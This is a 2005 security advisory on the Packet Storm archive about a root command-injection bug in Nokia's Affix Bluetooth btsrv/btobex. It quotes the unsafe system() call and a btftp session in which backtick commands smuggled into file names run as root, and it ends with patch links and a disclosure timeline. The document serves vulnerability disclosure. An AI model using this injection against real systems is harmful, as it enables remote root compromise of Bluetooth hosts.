exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DMA-2005-0712b.txt

DMA-2005-0712b.txt
Posted Jul 13, 2005
Authored by Kevin Finisterre

Nokia Affix Bluetooth btsrv/btobex makes poor use of system() allowing for remote command execution as root.

tags | exploit, remote, root
SHA-256 | 43a7a7e9ccef6513cee8d509624d337031032bd9abeef5a58831ab2c8a4e6ce6

DMA-2005-0712b.txt

Change Mirror Download
DMA[2005-0712b] - 'Nokia Affix Bluetooth btsrv/btobex poor use of system()'
Author: Kevin Finisterre
Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net
Product: 'affix'
References:
http://www.digitalmunition.com/DMA[2005-0712b].txt

Description:
Affix is a Bluetooth Protocol Stack for Linux that was developed by the Nokia Research Center in
Helsinki and released under GPL. Affix supports the core Bluetooth protocols like HCI, L2CAP 1.1,
L2CAP 1.2, RFCOMM, SDP and various Bluetooth profiles. Affix consists of 'affix-kernel' which
provides kernel modules and 'affix' which provides control tools, libraries, and server daemons.

Although Nokia believes that Affix is an useful piece of software, please bear in mind that it is
not an official Nokia product, but a result of the research activity of Nokia Research Center.

The following code snippet was found in affix-3.2.0/obex/btobex.c:

char cmd[PATH_MAX];
sprintf(cmd, "/bin/mv \"%s\" \"%s\"", file, name);
fd = system(cmd);
if (fd) {
BTERROR("failed: system(\"%s\") = %d\n", cmd, fd);
}

Exploitation of the above bug is fairly trivial with a little help from the btftp client.
Please note that btsrv should be run as root to allow access to Bluetooth devices.

animosity:~# btftp
Affix version: Affix 3.2.0
Welcome to btftp (OBEX) tool. Type ? for help.
Mode: Bluetooth
ftp> open 01:02:03:04:05:06
Service found on channel: 6
Connected.

ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
Command complete.

ftp> put /etc/hosts `hostname`
Transfer started...
Transfer complete.
257 bytes sent in 0.7 secs (3671.43 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
-rwdx 257 frieza
Command complete.

As you can see in the ps output no input cleaning is done on the user supplied data, thus
we are able to execute commands as root.

root 803 802 0 10:27 ttyp2 00:00:00 btsrv -C ./btsrv.conf
root 820 803 0 10:31 ttyp2 00:00:00 /usr/local/bin/btobex
root 871 820 0 10:40 ttyp2 00:00:00 sh -c mv "/tmp/obex_tmp_ymZF0T" "`id`"
root 872 871 0 10:40 ttyp2 00:00:00 sh -c mv "/tmp/obex_tmp_ymZF0T" "`id`"

No exploit is required in order to take advantage of the above mentioned issue.

Official patches for Affix can be found at http://affix.sourceforge.net
http://affix.sourceforge.net/affix_320_sec.patch
http://affix.sourceforge.net/affix_212_sec.patch

This is basic timeline associated with this bug.

07/12/05 Public disclosure
07/11/05 notice that Security update.Patch for affix-3.2.0 was posted 07/01/05
07/06/05 Ask Carlos for update...
06/17/05 Carlos.Chinea stated "you are using a old version of affix...Please update"
06/14/05 Carlos.Chinea contacted

-KF


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close